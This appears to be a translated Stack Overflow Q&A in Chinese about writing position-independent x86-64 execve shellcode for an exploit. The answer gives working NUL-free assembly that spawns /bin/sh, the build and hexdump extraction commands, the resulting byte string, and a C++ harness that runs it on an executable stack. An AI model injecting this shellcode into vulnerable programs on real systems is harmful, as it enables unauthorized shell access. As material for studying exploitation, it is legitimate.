指向不带 .data 部分的独立二进制代码中的字符串的指针

Rom*_*ski 2 assembly x86-64 nasm execve shellcode

我正在尝试编写某种漏洞利用程序,但在使我的 asm 代码在堆栈上的任何位置运行时遇到问题。就是这样:

BITS 64

global _start
_start:

  mov rax, 59

  jmp short file
  c1:
  pop rdi

  jmp short argv
  c2:
  pop rsi

  mov rdx, 0

  syscall
  ret

file:

  call c1
  db '/bin/sh',0

argv:

  call c2
  dq arg, 0  <- problem

arg:

  db 'sh',0
Run Code Online (Sandbox Code Playgroud)

由于选定的行,此代码将无法在堆栈上的任何位置工作,因为此代码可以在堆栈上的任何位置执行,因此 nasm 无法正确计算 arg 的地址。(这是shellcode 在作为单独代码单独运行时以及在使用 C++ 代码运行时调用不同系统调用的后续操作,这是问题所在。)

我已经轻松地用 jmp/call/pop 技巧替换了字符串,但指向字符串的指针仍然存在问题。

Mic*_*tch 5

在 64 位代码中,您不需要 JMP/CALL/POP 方法,因为您可以使用 RIP 相对寻址。您的代码还会使用诸如 之类的指令在字符串中插入不需要的 NUL 字节mov rdx, 0。对于将作为字符串插入的 shellcode,您需要使用一组不引入 NUL 的指令,因为这可能会提前结束字符串,具体取决于字符串如何注入可利用程序。

execve定义为:

execve——执行程序

int execve(const char *pathname, char *const argv[],
           char *const envp[]);
Run Code Online (Sandbox Code Playgroud)

argv是传递给新程序的参数字符串数组。按照约定,这些字符串中的第一个(即 argv[0])应包含与正在执行的文件关联的文件名。 envp是一个字符串数组,通常采用 key=value 的形式,作为环境传递给新程序。argv 和 envp 数组必须在数组末尾各自包含一个空指针。

如果不使用envp,您可以传递 NULL。argv需要是一个以 NULL 结尾的字符串指针列表。在您的情况下,您正在尝试生成C代码的等效内容:

#include <unistd.h>
int main()
{
    char pathname[] = "/bin/sh";
    char *argv[] = { pathname, NULL };
    execve (pathname, argv, NULL);
    return 0;
}
Run Code Online (Sandbox Code Playgroud)

您可以在可以作为 shellcode 运行的汇编代码中完全在堆栈上执行此操作。以下代码/bin/sh在堆栈上构建字符串并将RDI(路径名)指向它。然后,它通过将 NULL 压入堆栈来构建以 NULL结尾的argv列表,并将 RDI 中的值压入。然后将RSI设置到堆栈上的argv列表。RDX被清零,因此envp列表为 NULL。execve然后调用(系统调用 59)。我shellcode.asm使用以下命令创建一个程序集文件:

BITS 64

global _start
_start:
    ; Build pathname on the stack
    sub rsp, 8                ; Allocate space for the pathname on the stack
    mov rdi, rsp              ; Set RDI to the space that will hold the pathname
    mov dword [rsp], '/bin'   ; Move the first 4 characters of the path into pathname
    mov dword [rsp+4], '/sh.' ; Move the last 4 characters of the path into pathname
                              ;     The '.' character will be replaced with a NUL byte
    xor eax, eax              ; Zero RAX
    mov [rsp+7], al           ; Terminate pathname by replacing the period with 0

    ; Build NULL terminated argv list on the stack
    push rax                  ; NULL terminator
    push rdi                  ; Pointer to pathname
    mov rsi, rsp              ; Point RSI to the argv array

    xor edx, edx              ; RDX = NULL(0) (we don't have an envp list)
    mov al, 59                ; 59 = execve system call number
    syscall                   ; Do the execve system call
Run Code Online (Sandbox Code Playgroud)

使用以下命令将其构建为二进制可执行文件:

nasm -f elf64 shellcode.asm -o shellcode.o
gcc -nostartfiles shellcode.o -o shellcode
Run Code Online (Sandbox Code Playgroud)

运行./shellcode应该会产生一个 Linux shell 提示符。接下来将独立可执行文件转换为 shell 字符串二进制文件shellcode.bin,然后使用 HEXDUMP 将其转换为十六进制字符串:

objcopy -j.text -O binary shellcode shellcode.bin
hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.bin
Run Code Online (Sandbox Code Playgroud)

HEXDUMP 的输出应该是:

\x48\x83\xec\x08\x48\x89\xe7\xc7\x04\x24\x2f\x62\x69\x6e\xc7\x44\x24\x04\x2f\x73\x68\x2e\x31\xc0\x88 \x44\x24\x07\x50\x57\x48\x89\xe6\x31\xd2\xb0\x3b\x0f\x05

注意:\x00输出中没有 NUL ( )。

将字符串插入到可利用的 C++ 程序调用中exploit.cpp

int main(void)
{
    char shellstr[]="\x48\x83\xec\x08\x48\x89\xe7\xc7\x04\x24\x2f\x62\x69\x6e\xc7\x44\x24\x04\x2f\x73\x68\x2e\x31\xc0\x88\x44\x24\x07\x50\x57\x48\x89\xe6\x31\xd2\xb0\x3b\x0f\x05";
    reinterpret_cast<void(*)()>(shellstr)();

    return 0;
}
Run Code Online (Sandbox Code Playgroud)

exploit将其编译为具有可执行堆栈的程序:

g++ -Wl,-z,execstack exploit.cpp -o exploit
Run Code Online (Sandbox Code Playgroud)

当运行./exploit它时,应该会出现一个 Linux shell 提示符。strace ./exploit应该为execve系统调用输出以下内容:

execve("/bin/sh", ["/bin/sh"], NULL) = 0